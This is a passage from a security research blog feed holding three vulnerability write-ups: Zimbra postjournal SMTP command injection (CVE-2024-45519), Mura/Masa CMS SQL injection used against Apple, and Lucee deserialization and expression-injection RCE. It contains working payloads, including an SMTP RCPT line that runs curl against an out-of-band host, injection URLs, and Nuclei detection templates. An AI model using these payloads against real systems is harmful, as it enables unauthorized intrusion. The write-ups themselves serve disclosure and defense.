The msg_receiver function calls the msg_handler function which extracts the recipient addresses from the RCPT TO:<...> SMTP command which is stored in msg->rcpt_addresses variable. The value of msg->rcpt_addresses is set inside msg_receiver by the function rcpt_to_handler.

Then the expand_addrs function is called with these addresses.

Inside expand_addrs, the address_lookup function is invoked with the same addresses.

Inside the address_lookup function, the map_address function is called.

This leads to read_addr_maps, which eventually calls read_maps.

Within read_maps, a command string is constructed using a format string that includes the user-provided address.

Command string before popen

Finally, popen is called with the constructed command string, directly using our input.

Dynamic Binary Analysis via GDB

Based on our static analysis, we believed the following SMTP message should result in command injection on the postjournal service running on port 10027 (on loopback interface)

EHLO localhost
MAIL FROM: <[email protected]>
RCPT TO: <"aabbb;touch${IFS}/tmp/pwn;"@mail.domain.com>
DATA
aaa
.

To validate our findings, we set a breakpoint in GDB at read_maps and then just before the popen call in read_maps.

We inspected the cmd argument passed to popen:

Inspecting cmd argument

Notably, the cmd argument is enclosed in double quotes, which would prevent successful command injection using simple shell metacharacters. However, we realised that this could be bypassed using the $() syntax.

We crafted our input to exploit this:

Successful command execution

As a result, we successfully executed arbitrary commands, confirming the creation of the /tmp/pwn file.

Proof of Concept (PoC)

We tested the exploit directly on the postjournal service via port 10027 using the following SMTP commands:

EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
DATA
Test message
.

Enabling postjournal and Exploiting via SMTP

Testing the exploit on port 10027 worked as expected. However, when attempting the same exploit over SMTP port 25, it was initially unsuccessful.

After some investigation, we discovered that the postjournal service is not enabled by default. To enable it, we executed:

zmlocalconfig -e postjournal_enabled=true
zmcontrol restart

With postjournal enabled, we reran our exploit against SMTP port 25 and observed successful command execution. Initially, we conducted this test on our own Zimbra server for proof of concept. However, when attempting to exploit the vulnerability remotely over the internet, we faced failures.

Limitations

Upon reviewing the logs, we noticed that the RCPT address was being rejected due to the smtpd_relay_restrictions setting in postconf, which defaults to:

smtpd_relay_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination

This configuration allows sending mail only if the client is authenticated or if the client is within the mynetworks list. Our initial PoC worked internally because we were connecting from the server itself.

We checked the mynetworks setting:

postconf mynetworks

The output revealed:

mynetworks = 127.0.0.0/8 [::1]/128 <Public IP>/20 10.47.0.0/16 10.122.0.0/20

Surprisingly, on our instance,the default configuration included a /20 CIDR range of our public IP address in mynetworks. This means that the exploit could still be performed remotely if the postjournal service is enabled and the attacker is within the allowed network range.

Automating vulnerability detection with Nuclei

This Remote Command Injection vulnerability can be identified by utilizing the below Nuclei template:

id: CVE-2024-45519

info:
  name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution
  author: pdresearch,iamnoooob,parthmalhotra,ice3man543
  severity: critical
  description: |
    SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system’s integrity and confidentiality.
  reference:
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
  classification:
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    vendor: synacor
    product: zimbra_collaboration_suite
    shodan-query:
      - http.title:"zimbra collaboration suite"
      - http.title:"zimbra web client sign in"
      - http.favicon.hash:1624375939
    fofa-query:
      - title="zimbra web client sign in"
      - title="zimbra collaboration suite"
  tags: cve,cve2024,rce,zimbra

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      let m = require('nuclei/net');
      let address = Host+":"+Port;
      let conn;
      conn=  m.Open('tcp', address)
      conn.Send('EHLO localhost\r\n');
      conn.RecvString()
      conn.Send('MAIL FROM: <[email protected]>\r\n');
      conn.RecvString()
      conn.Send('RCPT TO: <"aabbb$(curl${IFS}'+oast+')"@mail.domain.com>\r\n');
      conn.RecvString()
      conn.Send('DATA\r\n');
      conn.RecvString()
      conn.Send('aaa\r\n');
      conn.RecvString()
      conn.Send('.\r\n');
      resp = conn.RecvString()
      conn.Send('QUIT\r\n');
      conn.Close()
      resp
    args:
      Host: ""
      Port: 25
      oast: ""

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "message delivered"

We’ve also created a pull request to include this template in the public nuclei-templates GitHub repository.

Conclusion

Our analysis of CVE-2024-45519 highlights a critical vulnerability in Zimbra’s postjournal service that allows unauthenticated remote command execution. The vulnerability stems from unsanitized user input being passed to popen in the unpatched version, enabling attackers to inject arbitrary commands.

While the patched version introduces input sanitization and replaces popen with execvp, mitigating direct command injection, it’s crucial for administrators to apply the latest patches promptly. Additionally, understanding and correctly configuring the mynetworks parameter is essential, as misconfigurations could expose the service to external exploitation.

We strongly recommend that all Zimbra administrators:

  • Verify that postjournal is disabled if not required.
  • Ensure that mynetworks is correctly configured to prevent unauthorised access.
  • Apply the latest security updates provided by Zimbra.

By staying vigilant and proactive, organisations can protect themselves against such critical vulnerabilities and maintain the security of their email and collaboration platforms.


By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
Hacking Apple - SQL Injection to Remote Code Execution2024-05-08T00:00:00+00:002024-05-08T00:00:00+00:00https://httpvoid.com/Hacking-Apple-with-SQL-Injection<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Introduction

In our last blog post, we delved into the inner workings of Lucee and took a look at the source code of Masa/Mura CMS, and the vastness of the potential attack surface struck us. It became evident that investing time in understanding the code could pay off. After dedicating a week to our exploration, we stumbled upon several entry points for exploitation, including a critical SQL injection flaw that we were able to exploit within Apple’s Book Travel portal.

In this blog post, we aim to share our insights and experiences, detailing how we identified the vulnerability sink, linked it back to its source, and leveraged the SQL injection to achieve Remote Code Execution (RCE).

Finding the sink

From playing around with the Masa/Mura CMS, we understood our attack surface - mainly the attack surface accessible on Apple’s environment. Our primary focus was on JSON API, as it exposes some methods that are accessible within Apple’s environment. Any potentially vulnerable sink we find should have its source in JSON API.

We deliberated on optimising our approach to streamline our source code review process. We explored the availability of static analyzers or CFM parsers capable of traversing through code while disregarding sanitizers.

For instance, this is how a safe parameterised SQL query is written via tag-based CFM:

<cfquery>
select * from table where column=<cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.user_input#">
</cfquery>

And this is how an unsafe SQL query is written:

<cfquery>
select * from table where column=#arguments.user_input#
</cfquery>

It would be great if we could parse and traverse through the code and only print cfquery tags that have unsanitized input regardless of having the cfqueryparam tag inside or not. We came across https://github.com/foundeo/cfmlparser which could let us do this.

Here’s how we targeted SQL injection sink detection:

  • Parse each CFM/CFC file.
  • Go through each statement, select the statement if it’s a tag and its name is cfquery .
  • Strip all tags (like cfqueryparam) inside the code block of cfquery and if it still has arguments in the codeblock then the input is not parameterized and the query is susceptible to an SQL injection, given no other validation is in place.
  • Print this query.
<cfscript>
    targetDirectory = "../mura-cms/";
    files = DirectoryList(targetDirectory, true, "query");

    for (file in files) {
        if (FindNoCase(".cfc", file.name) or FindNoCase(".cfm", file.name)) {
            fname = file.directory & "/" & file.name;
            if (file.name != "dbUtility.cfc" && file.name != "configBean.cfc" && !FindNoCase("admin", file.directory) && !FindNoCase("dbUpdates", file.directory)) {
                filez = new cfmlparser.File(fname);
                statements = filez.getStatements();
                info = [];
                for (s in statements) {
                    if (s.isTag() && s.getName() == "cfquery" && FindNoCase("arguments", s.getStrippedInnerContent(true, true))) {
                        WriteOutput("Filename: <b>#fname#</b>");
                        WriteOutput("<br><br>" & s.getStrippedInnerContent(true, true));
                        WriteOutput("<br><br><br><br>");
                    }
                }
            }
        }
    }
</cfscript>

We started going through the result with a few things in mind, such as ignoring input like siteid because JSON API validates it in advance.

One of the queries that had two other inputs was this:

Tracing sink to source

Looking at the function which had this query concluded that there’s only one exploitable argument, that is, ContentHistID. The argument columnid is numeric and siteid is validated by default.

<cffunction name="getObjects" output="false">
	<cfargument name="columnID" required="yes" type="numeric" >
	<cfargument name="ContentHistID" required="yes" type="string" >
	<cfargument name="siteID" required="yes" type="string" >

	<cfset var rsObjects=""/>

	<cfquery attributeCollection="#variables.configBean.getReadOnlyQRYAttrs(name='rsObjects')#">
		select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid, tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit from tcontentobjects
		inner join tcontent On(
		tcontentobjects.contenthistid=tcontent.contenthistid
		and tcontentobjects.siteid=tcontent.siteid)
		left join tplugindisplayobjects on (tcontentobjects.object='plugin'
											and tcontentobjects.objectID=tplugindisplayobjects.objectID)
		where tcontent.siteid='#arguments.siteid#'
		and tcontent.contenthistid ='#arguments.contentHistID#'
		and tcontentobjects.columnid=#arguments.columnID#
		order by tcontentobjects.orderno
	</cfquery>

	<cfreturn rsObjects>

</cffunction>

The function getObjects was called within the dspObjects function in the core/mura/content/contentRendererUtility.cfc component.

The call stack was:

JSON API -> processAsyncObject -> object case: displayregion -> dspobjects() -> getobjects().

Triggering & Exploiting SQL injection

By default, Lucee escapes single quotes by adding a backslash before them when passed as input. This can be managed by using a backslash to escape one of the single quotes.

This should trigger the SQL injection:

/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'

However, it didn’t. Upon revisiting the source code, we identified a crucial condition in the dspObjects function. Before calling getObjects, an if condition must be satisfied: the isOnDisplay property must be set to true in the Mura servlet event handler. Initially, we assumed that any property on the event handler could be set simply by passing the property name as a parameter, along with its value. This assumption was based on our debugging session within the codebase.

Our attempts to set the isOnDisplay property in this manner were unsuccessful. It appears that somewhere in the code, this property is being overwritten.

After conducting some grep searches, we stumbled upon the standardSetIsOnDisplayHandler function call within the processAsyncObjects of the JSON API.

It appears that by simply passing the previewID parameter with any value, we can set the previewID property, which in turn will set the isOnDisplay property to true.

/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x

And it worked:

Since this was an error-based SQL injection, we could exploit it quite easily to achieve Remote Code Execution (RCE). Locally, we successfully performed RCE by following these steps:

  1. Reset an Admin user’s password.
  2. Obtain the reset token and user ID via SQL injection.
  3. Use the password reset endpoint with exfiltrated info.
  4. Utilize plugin installation to upload CFM files.

However, on Apple’s environment, we encountered only an Unhandled Exception error without any query-related information, turning this into a blind SQL injection. Fortunately, the token and user ID are UUIDs, making it relatively straightforward to exfiltrate them. With a bit of scripting, we were able to accomplish this task.

We promptly submitted our report to Apple, including Proof of Concept (PoC) demonstrating logging into an account while theoretically providing them with RCE details.

Detection via Nuclei

This SQL injection vulnerability can be identified by utilizing the below Nuclei template:

id: CVE-2024-32640

info:
  name: Mura/Masa CMS - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Mura/Masa CMS is vulnerable to SQL Injection.
  reference:
    - https://blog.projectdiscovery.io/mura-masa-cms-pre-auth-sql-injection/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    Apply the vendor-supplied patch or update to a secure version.
  metadata:
    verified: true
    max-request: 3
    vendor: masacms
    product: masacms
    shodan-query: 'Generator: Masa CMS'
  tags: cve,cve2022,sqli,cms,masa,masacms

http:
  - raw:
      - |
        POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
        Host: 
        Content-Type: application/x-www-form-urlencoded

        object=displayregion&contenthistid=x\'&previewid=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "Unhandled Exception")'
          - 'contains_all(header,"cfid","cftoken")'
        condition: and

We’ve also added template in nuclei-templates GitHub project.

Conclusion

In conclusion, our exploration of Masa/Mura CMS has been a rewarding journey, revealing critical vulnerabilities. The code review process begins by focusing on vulnerable SQL injection code patterns and then utilizing the CFM/CFC parser to search for specific patterns within the codebase, a similar approach to Semgrep. Once potential sinks were identified, we traced them back to the source, in this case, the JSON API of Mura/Masa CMS.

We responsibly disclosed these findings to Apple and the respective Masa and Mura CMS teams.

Apple’s Response:

Apple responded and implemented a fix within 2 hours of the initial report, swiftly addressing the reported issue. As always, working with Apple has been a good collaboration.

Masa CMS:

Masa is an open-source fork of Mura CMS, they were quite transparent and released a new version of Masa CMS with fixes. The 7.4.6, 7.3.13 and 7.2.8 versions have the latest security patches including another critical pre-auth SQL injection which is assigned CVE (CVE-2024-32640).

Mura CMS:

Despite numerous attempts to reach out to the Mura team regarding these vulnerabilities, we received no response across multiple communication channels. With the 90-day standard deadline elapsed, we are now releasing this blog post detailing the reported vulnerability.


By leveraging Nuclei and actively engaging with the open-source community, or by becoming a part of the ProjectDiscovery Cloud Platform, companies can enhance their security measures, proactively address emerging threats, and establish a more secure digital landscape. Security represents a shared endeavor, and by collaborating, we can consistently adapt and confront the ever-evolving challenges posed by cyber threats.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>
Hello Lucee! Let us hack Apple again?2024-02-15T00:00:00+00:002024-02-15T00:00:00+00:00https://httpvoid.com/Hello-Lucee!-Let-us-hack-Apple-again<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Last year we conducted an in-depth analysis of multiple vulnerabilities within Adobe ColdFusion, we derived valuable insights, one of which revolved around CFM and CFC handling, parsing and execution. We wondered if there are any other CFML Servers. Does this ring a bell? Allow us to introduce Lucee. We’ve previously compromised Lucee’s Admin panel, showcasing a pre-auth Remote Code Execution (RCE) on multiple Apple servers that utilized Lucee as its underlying server.

Our journey led us through multiple attempts, we will delve into our unsuccessful endeavours and, ultimately, our achievement of RCE on Apple’s production server. Notably, our exploitation extended to potentially compromising Lucee’s update server, thereby unveiling a classic supply chain attack to compromise any Lucee installation with malicious updates.

Attempt 1 - Request Handling and REST Mappings

After checking out Lucee’s admin panel in our earlier research, we found that it’s pretty locked down. There are only four CFM files you can get access while being unauthenticated, so there’s not much room for finding bugs there. We need to dig into how Lucee handles requests. We’re looking for specific paths, parameters, headers, and so on, to understand how requests are handled.

After reviewing the web.xml file, We set up the JVM debugger via IntelliJ and added Lucee’s source code. We plan to start going through the code by putting a breakpoint at Request::exe(). This way, we can step through the code bit by bit and see how Lucee handles requests.

public static void exe(PageContext pc, short type, ...) {
		try {
...

			if (type == TYPE_CFML) pc.executeCFML(pc.getHttpServletRequest().getServletPath(), throwExcpetion, true);
			else if (type == TYPE_LUCEE) pc.execute(pc.getHttpServletRequest().getServletPath(), throwExcpetion, true);
			else pc.executeRest(pc.getHttpServletRequest().getServletPath(), throwExcpetion);
		}
		finally {
...
		}
	}

Another interesting class that deals with Request and Response in Lucee is core/src/main/java/lucee/runtime/net/http/ReqRspUtil.java. In this class, there are functions to work with various aspects of the Request, like setting/getting certain headers, query parameters, and the request body, among other things. While looking into this class, we noticed a call to JavaConverter.deserialize(). As the name suggests, it is a wrapper on readObject() to handle Java Deserialization.

public static Object getRequestBody(PageContext pc, boolean deserialized, ...) {

		HttpServletRequest req = pc.getHttpServletRequest();

		MimeType contentType = getContentType(pc);
		...
				if(deserialized) {
					int format = MimeType.toFormat(contentType, -1);
					obj = toObject(pc, data, format, cs, obj);
				}
		...
		return defaultValue;
	}

public static Object toObject(PageContext pc, byte[] data, int format, ...) {

		switch (format) {
			...
			case UDF.RETURN_FORMAT_JAVA: //5
				try {
					return JavaConverter.deserialize(new ByteArrayInputStream(data));
				}
				catch (Exception pe) {
				}
				break;
		}

It appears that when the request’s content/type header is set toapplication/java, we should theoretically end up here, right? Well, we promptly dispatched a URLDNS gadget with the required content type. And the result? Drumroll, please… Nothing. Could it be that the deserialized condition didn’t pass? To investigate, we add a breakpoint on getRequestbody() , only to find out that we don’t even reach this point.

But why? we traced through the function calls and realized that certain configurations must be in place to satisfy the if/else statements to lead us to the sink. Given the complexity of the stack, let’s briefly summarize the key points.

Request:exe() - Determines the type of request and handles it appropriately.
↓
PageContextImpl:executeRest() - Looks for Rest mappings and executes the RestRequestListener.
↓
RestRequestListener() -- Sets the "client" attribute with the value "lucee-rest-1-0" on the request object.
↓
ComponentPageImpl:callRest() - Examines the "client" attribute; if it's "lucee-rest-1-0", proceeds to execute callRest() followed by _callRest().
↓
ComponentPageImpl:_callRest() - If the rest mapping involves an argument, invokes ReqRspUtil.getRequestBody with the argument deserialized: true.
↓
ReqRspUtil.getRequestBody() - If the deserialized argument is true, triggers the toObject() function, which deserializes the request body based on the provided content type.
↓
toObject() - Java Deserialization on the request body if the content type is "application/java".
↓
JavaConverter.deserialize() - The final step where the Java Deserialization process occurs.

To reproduce this RCE, a rest mapping with a function that takes at least one argument must be configured. Deploy below Rest mapping.

component restpath="/java"  rest="true" {
    remote String function getA(String a) httpmethod="GET" restpath="deser" {
        return a;
    }
}

Java Deserialization via REST Mapping On Lucee

Surprisingly, we discovered that Lucee’s critical update server utilizes a REST endpoint - https://update.lucee.org/rest/update/provider/echoGet. This server is pivotal in managing all update requests originating from various Lucee installations.

At the time of finding, this server was vulnerable to our exploit which could have allowed an attacker to compromise the update server, opening the door to a supply chain attack. Acknowledging the severity of the situation, Lucee’s maintainers promptly implemented a hotfix to secure their update server, subsequently releasing an updated version of Lucee with the necessary fixes - CVE-2023-38693. However, our finding did not apply to Apple’s host, as they did not expose any REST mappings. Let’s try again!

Attempt 2 - CFML Expression Interpreter, Cookies and Sessions.

After gaining a more in-depth understanding of the codebase, we began selectively examining classes, and one that caught our attention was CFMLExpressionInterpreter. The intriguing nature of this class prompted us to delve into its details. Upon reviewing the class, it became evident that when the constructor’s boolean argument, limited, is set to False (default is True), the method CFMLExpressionInterpreter.interpret(…) becomes capable of executing CFML expressions.

Something like CFMLExpressionInterpreter(false).interpret("function(arg)") should let us execute any function of Lucee. With this insight, we conducted a thorough search within the codebase to identify instances where CFMLExpressionInterpreter(false) was initialized, and we discovered several occurrences. One in particular was of interest StorageScopeCookie by the name of it seems to be related to cookies.

public abstract class StorageScopeCookie extends StorageScopeImpl {

protected static CFMLExpressionInterpreter evaluator = new CFMLExpressionInterpreter(false);

	protected static Struct  _loadData(PageContext pc, String cookieName, int type, String strType, Log log) {
		String data = (String) pc.cookieScope().get(cookieName, null);
		if (data != null) {
			try {
				Struct sct = (Struct) evaluator.interpret(pc, data);
                ...
                }
          ...
        }
        ...
     }

}

It appears that the StorageScopeCookie._loadData() function accepts the cookie name as one of its arguments, retrieves its value from PageContext, and subsequently passes it to interpret().

After a thorough follow of multiple code flows, these three were standing out and seemed like could be called by the Lucee application.

  • sessionInvalidate() -> invalidateUserScope() -> getClientScope() -> ClientCookie.getInstance() -> StorageScopeCookie._loadData(…)
  • sessionRotate() -> invalidateUserScope() -> getClientScope() -> ClientCookie.getInstance() -> StorageScopeCookie._loadData(…)
  • PageContext.scope() -> getClientScope() -> ClientCookie.getInstance() -> StorageScopeCookie._loadData(…)
public final class ClientCookie extends StorageScopeCookie implements Client {

	private static final String TYPE = "CLIENT";

	public static Client getInstance(String name, PageContext pc, Log log) {
		if (!StringUtil.isEmpty(name)) name = StringUtil.toUpperCase(StringUtil.toVariableName(name));
		String cookieName = "CF_" + TYPE + "_" + name;
		return new ClientCookie(pc, cookieName, _loadData(pc, cookieName, SCOPE_CLIENT, "client", log));
	}
}

Upon invoking sessionInvalidate() or sessionRotate(), we successfully accessed ClientCookie.getInstance(), constructing the cookie name as CF_CLIENT_LUCEE.

This implies that any application utilizing sessionInvalidate() or sessionRotate() could potentially expose a Remote Code Execution (RCE) vulnerability via the CF_CLIENT_LUCEE cookie. Where, “Lucee” represents the application context name, which might vary depending on the deployed application.

Our initial search within the Lucee codebase for the usage of these functions in any unauthenticated CFM file or Component (CFC) yielded no results. Expanding our investigation to Mura/Masa CMS, also deployed by Apple on their Lucee server, we identified two calls. One of these calls was unauthenticated under the logout action.

public function logout() output=false {
      	...
	if ( getBean('configBean').getValue(property='rotateSessions',defaultValue='false') ) {
        ...
			sessionInvalidate();
        ...

Unfortunately, the successful exploitation of this vulnerability depends on the rotateSessions setting being enabled in Mura/Masa, which is, by default, set to false. Consequently, we are unable to trigger this vulnerability on Apple’s deployment.

Feeling a tinge of disappointment, we redirected our focus to the PageContext.scope() flow. After a thorough debugging session, it became apparent that the cookie name in this scenario would be CF_CLIENT_. More crucially, to exploit this code execution, we would need to enable the Client Management setting from the Lucee admin, which is, by default, disabled. Therefore, once again, we find ourselves unable to trigger this vulnerability on Apple’s configuration.

Regardless here’s a PoC for the same:

Attempt 3 - Variable Interpreter, Functions and Mura CMS

After various unsuccessful attempts, an alternative idea struck us. What if we could identify more functions that potentially accept user input as a String and could lead to code execution?

Our attention was drawn to VariableInterpreter.parse(,,limited), which initializes CFMLExpressionInterpreter(limited). It occurred to us that if there are calls to VariableInterpreter.parse(,,false), there might be a way for code execution.

Considering this, We identified some vulnerable sinks in the VariableInterpreter class. If any of the following functions pass user input to parse(), it could serve our purpose:

getVariable → VariableInterpreter.parse(,,false)
getVariableEL → VariableInterpreter.parse(,,false)
getVariableAsCollection → VariableInterpreter.parse(,,false)
getVariableReference → VariableInterpreter.parse(,,false)
removeVariable → VariableInterpreter.parse(,,false)
isDefined → VariableInterpreter.parse(,,false)

To narrow down the search, we investigated classes importing the VariableInterpreter class and identified the following suspects:

core/src/main/java/lucee/runtime/PageContextImpl.java
core/src/main/java/lucee/runtime/functions/decision/IsDefined.java#L41
core/src/main/java/lucee/runtime/functions/struct/StructGet.java#L37
core/src/main/java/lucee/runtime/functions/struct/StructSort.java#L74
core/src/main/java/lucee/runtime/functions/system/Empty.java#L34
core/src/main/java/lucee/runtime/tag/SaveContent.java#L87
core/src/main/java/lucee/runtime/tag/Trace.java#L170

Given the complexity of PageContextImpl, We chose to initially focus on the other classes. Starting with function classes, We tested StructGet("abc") and successfully hit the breakpoint at VariableInterpreter.parse(). However, attempting the payload used earlier for CFMLExpressionInterpreter.interpret() calls didn’t execute imageRead().

After reviewing parse(), We realized that the payload needed to be modified to x[imageRead('...')] due to the call being made to CFMLExpressionInterpreter.interpretPart() after splitting the string from [ and it worked. imageRead() executed. We can call arbitrary functions from StrucGet("").

This led us to conclude that the following functions allow CFML evaluation, allowing Remote Code Execution (RCE) when they contain user input:

  • StructGet(“…”)
  • isDefined(“…”)
  • Empty(“…”)

We did a quick search in Masa/Mura CMS’s codebase, where, despite not finding calls for StructGet() and Empty(), we stumbled upon an abundance of calls for isDefined().

Now, the reason for so many calls is that isDefined(String var), is used to check if a given string is defined as a variable or not. Meaning that isDefined(”url.search”) doesn’t mean our query parameter search’s value is being passed here. We’d need a call like isDefined(”#url.search#”) which means our given string will be checked if it is defined as variable or not. After grepping for isDefined\(.#\) we came across a few calls, most importantly the call in FEED API at core/mura/client/api/feed/v1/apiUtility.cfc#L122 and in the JSON API both of which could be triggered pre-auth.

function processRequest(){
	try {
		var responseObject=getpagecontext().getresponse();
		var params={};
		var result="";

		getBean('utility').suppressDebugging();

		structAppend(params,url);
		structAppend(params,form);
		structAppend(form,params);
		...
		if (isDefined('params.method') && isDefined('#params.method#')){
			...
		}
	}
}

The param struct is populated from both theurl and form structs, which store GET and POST parameters, respectively. Consequently, the param struct contains user input. Performing isDefined("#param.method#") poses a risk of Remote Code Execution (RCE), when Mura/Masa CMS is deployed on a Lucee server.

And finally: We perform our code execution on Apple!

Apple RCE

These findings were reported to both Apple and the Lucee team. Apple fixed the report within 48 hours while Lucie’s team notified us that they are aware of this nature and have already implemented a fix by adding an optional setting within the Admin panel:

Conclusion

Our deep dive into Lucee, an alternative CFML server, yielded insightful results and uncovered critical vulnerabilities. We pinpointed vulnerabilities in Lucee’s request handling and REST mappings, exposing a critical Java deserialization flaw. The potential impact was substantial, especially considering the vulnerability’s potential exploitation of Lucee’s vital update server, which could have facilitated supply chain attacks.

Furthermore, our exploration of Lucee’s CFML expression interpretation, cookies, and sessions uncovered vulnerabilities that could lead to remote code execution. Exploiting functions like sessionInvalidate(), sessionRotate(), StructGet() and IsDefined(), we identified pathways to remote code execution, particularly within Mura/Masa CMS, a CMS deployed on top of Lucee by Apple.

Promptly following our responsible disclosure to both Apple and the Lucee team, swift action ensued. Apple responded and implemented a fix within 48 hours, swiftly addressing the reported issues and rewarded us with a $20,000 bounty, while Lucee swiftly implemented fixes to shore up the vulnerabilities. This collaborative effort highlights the importance of responsible disclosures and bug bounty programs.

]]>
<![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>